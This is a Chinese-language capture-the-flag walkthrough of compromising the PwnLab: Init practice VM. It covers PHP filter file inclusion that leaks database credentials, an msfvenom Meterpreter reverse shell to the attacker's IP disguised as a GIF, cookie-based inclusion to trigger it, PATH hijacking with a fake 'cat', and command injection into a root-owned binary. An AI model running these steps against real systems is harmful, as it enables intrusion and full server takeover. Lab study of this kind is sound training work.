pwnlab_init靶机渗透过程

准备环境

攻击机:WSL-Kali-Linux

目标靶机:pwnlab_init

平台:VMware Workstation 16.2

靶机为NAT模式

一、信息搜集

1.IP扫描

nmap -sn 192.168.9.0/24

1

2.端口扫描

nmap -A -p- 192.168.9.147

2

端口开放情况如下

端口服务
80http
111RPCbind
3306mysql
34323RPC

3.目录扫描

访问其web页面

3

先进行目录扫描

dirsearch -u http://192.168.9.147/

4

存在config.php,推测该php文件有可能为数据库连接配置文件

二、漏洞利用

1.漏洞挖掘

使用php伪协议对config.php进行读 取,构造POC

http://192.168.9.147/?page=php://filter/read=convert.base64-encode/resource=config

5

得到base64编码之后的文件内容,对内容进行解码

解码平台:CyberChef

6

解码后得到

<?php
$server      = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>

得到数据库配置信息

用户名为root,密码为H4u%QJ_H99,结合端口扫描结果,mysql3306端口为开放

可以尝试连接数据库

mysql -h 192.168.9.147 -uroot -p

7

成功进入数据库,开始对数据库进行信息搜集

8

存在information_schemaUsers两个数据库

9

Users数据库中存在users数据表,表中保存了3个用户的用户名和密码,并且密码是通过base编码的,尝试着解码

用户名密码解码前密码解码后
kentSld6WHVCSkpOeQ==JWzXuBJJNy
mikeU0lmZHNURW42SQ==SIfdsTEn6I
kaneaVN2NVltMkdSbw==iSv5Ym2GRo

随便使用一个用户进行登录,登录进去之后可以进行文件上传

10

2.webshell

msfvenom生成木马

msfvenom -p php/meterpreter_reverse_tcp lhost=172.20.133.136 lport=9999 -e -f raw > msfshell.php

将该生成的木马添加GIF文件头标识GIF89a,并将木马文件后缀加上.gif

11

将该木马上传,上传之后得到该文件的路径

12

直接访问该文件并不能触发shell反弹,先通过php伪协议查看index.php页面的源码

http://192.168.9.147/?page=php://filter/read=convert.base64-encode/resource=index

13

index.php源码为

<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
    include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
    if (isset($_GET['page']))
    {
        include($_GET['page'].".php");
    }
    else
    {
        echo "Use this server to upload and share image files inside the intranet";
    }
?>
</center>
</body>
</html>

代码审计之后,发现可以通过包含cookie内容来上传文件,使用Burp Suite抓包工具进行抓包,修改cookie参数

在访问index.php页面的时候对数据包进行拦截

14

在原有的cookie之后添加上lang=../upload/b8964ab92deb1499fe399606a3c64d0f.gif

kali启动msfconsole,使用use exploit/multi/handler模块,配置好lhostlportpayload之后直接run

然后Burp Suite直接放包

15

成功拿到shell

3.提权

查看存在哪些用户

cat /etc/passwd

16

刚从数据库中找出的3个用户都存在,并且多出john用户,尝试使用数据库中的密码进行登录

经过测试,能成功登录的用户只有两个,分别是用户kent和用户kane,其中有信息利用价值的是用户kane

用户kane家目录下存在一个名为msgmike的文件,且所有者为mike,所以当执行msgmike时,是以mike身份运行

17

当运行msgmike后,会提示触发了cat命令

18

可以通过去全局变量进行提权,当运行cat命令的时候,因为全局变量的存在,cat即为/bin/cat$PATH指向了/bin/

就有一个思路,在具有可执行权限的路径下(/tmp),伪造一个cat文件,更改全局变量$PATH重新指向到伪造的cat文件,当运行该伪造cat文件时,会触发一个新bash会话,从而完成横向渗透

tmp目录下,进行伪造cat文件

echo /bin/bash > cat

再对该伪造cat文件进行最高权限赋权

chmod 777 cat

更改全局变量$PATH指向

export PATH=/tmp:$PATH

回到kane家目录,执行msgmike

19

成功拿到用户mike

查看mike家目录下的文件

20

存在msg2root文件,所有者为root

尝试执行msg2root

21

Message for root: 后面输入id && /bin/sh

通过/bin/sh新创建出一个会话

查看位于/root/flag.txt,但不能直接输入cat /root/flag.txt,因为刚刚修改了全局变量,cat指向的时位于/tmp下的伪造cat文件,需要用最原始的方法调用cat

/bin/cat /root/flag.txt

即可得到flag

22

目标靶机已完成渗透